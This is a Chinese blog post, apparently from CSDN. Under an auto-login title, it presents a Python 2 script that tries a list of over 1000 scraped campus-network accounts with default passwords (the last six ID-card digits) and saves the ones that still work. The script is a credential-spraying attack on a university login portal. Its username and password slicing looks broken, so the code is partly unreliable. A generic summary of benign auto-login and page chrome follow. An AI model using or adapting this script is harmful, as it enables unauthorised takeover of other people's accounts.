python实现校园网自动登录

原文来源:爬取校园网1000多条账号密码——珍惜每分每秒

已知一列表的账号与原始密码(身份证后六位),试图逐个登录验证没改密码的多少???

#coding:utf-8
import requests
import re
import os, sys
import time
from bs4 import BeautifulSoup
'''
作用:校园网
'''

def readinfo():
    file = open("sub.txt","r")
    text = file.read()
    list = text.split("\n")
    return list


def user_exit(name):
    #登入成功进入的页面
    #url = "http://10.202.1.2:8080/zportal/goToAuthResult"
    exit_url = "http://10.202.1.2:8080/zportal/logout"
    data = {
        "autoLoginFlag": "false",
        "deviceIp": "10.206.1.1",
        "isMacFastAuth": "false",
        "userIp": "10.100.44.158",
        "userMac": "98541b5f979a",
        "userName": name
    }
    requests.post(exit_url, data=data)

def xyw():
    result = ""
    url = 'http://10.202.1.2:8080/zportal/loginForWeb?wlanuserip=908ddb7475c53e3a7585110e4b623f34&wlanacname=5bf1c477aaa191544c9ba837272c7e8a&ssid=2b1f84b925bc118e3531cd2f67c97ade&nasip=a8c37e2337cccb3d6a6296843936e16c&snmpagentip=&mac=55c25a6aee17635a02cdfbfd2ab60b93&t=wireless-v2&url=fc7d87852b95d45e3af982c507b3ec9043786651810bf9aab66e8f4acad19a0a461f204551ddc76c&apmac=&nasid=5bf1c477aaa191544c9ba837272c7e8a&vid=c406bbb8966f658a&port=fe413d1c64aa0d70&nasportid=a25b45948c15af404ab1f0ea3233e160e6c6fae2c67d17dd3a5ba1ef8f21353c'
    login_url = "http://10.202.1.2:8080/zportal/login/do"
    html = requests.get(url)
    list = readinfo()
    count = 0
    for itme in list:
        name = itme[10:]
        password = itme[12:]
        data = {
            "mac": "55c25a6aee17635a02cdfbfd2ab60b93",
            "nasip": "a8c37e2337cccb3d6a6296843936e16c",
            "pwd": password,
            "qrCodeId": "请输入编号",
            "ssid": "2b1f84b925bc118e3531cd2f67c97ade",
            "t": "wireless - v2",
            "url": "fc7d87852b95d45e3af982c507b3ec9043786651810bf9aab66e8f4acad19a0a461f204551ddc76c",
            "username": name,
            "validCode": "验证码",
            "validCodeFlag": "false",
            "wlanacname": "5bf1c477aaa191544c9ba837272c7e8a",
            "wlanuserip": "908ddb7475c53e3a7585110e4b623f34"
        }
        content = requests.post(login_url,data=data)
        if content.text == '{"message":"","nextPage":"goToAuthResult","result":"success"}':
            print "登入成功",name
            #保存, 做下线处理
            user_exit(name)
            result += name+"\n"
            count += 1
    print "总记录:%d" % count
    with open("success.txt", "w") as f:
        f.write(result)

if __name__ == "__main__":
    xyw()

xyw() 方法是进行post提交的
user_exit(name) 进行用户退出的, 登入一个就不能继续操作了,所以还需要下线一下

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
可以使用Python编写一个爬虫程序来实现自动登录校园网。主要使用requests库来发送登录请求,模拟浏览器的行为。这样用户就不需要手动进行登录操作,只需运行程序即可完成自动登录。 具体的实现思路如下: 1. 导入requests库和其他需要的模块。 2. 构造登录请求的URL和表单数据。 3. 使用requests库发送POST请求,将表单数据发送给校园网服务器。 4. 检查登录是否成功,可以通过检查返回的响应内容或者状态码来判断。 5. 如果登录成功,程序可以继续执行其他操作,比如访问校园网资源。 需要注意的是,每个学校的校园网登录方式可能不同,所以具体的实现细节可能会有所差异。你可以根据自己学校的校园网登录页面的HTML结构和表单数据来进行相应的调整。 参考文献中提供了一些关于使用Python自动登录校园网的实例和思路,你可以参考这些文献来更详细地了解实现方法。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* [【python爬虫】校园网自动登录脚本+python+request](https://blog.csdn.net/F_zmmfs/article/details/88682188)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [基于Python实现校园网自动登录](https://blog.csdn.net/kaspar1992/article/details/84172543)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值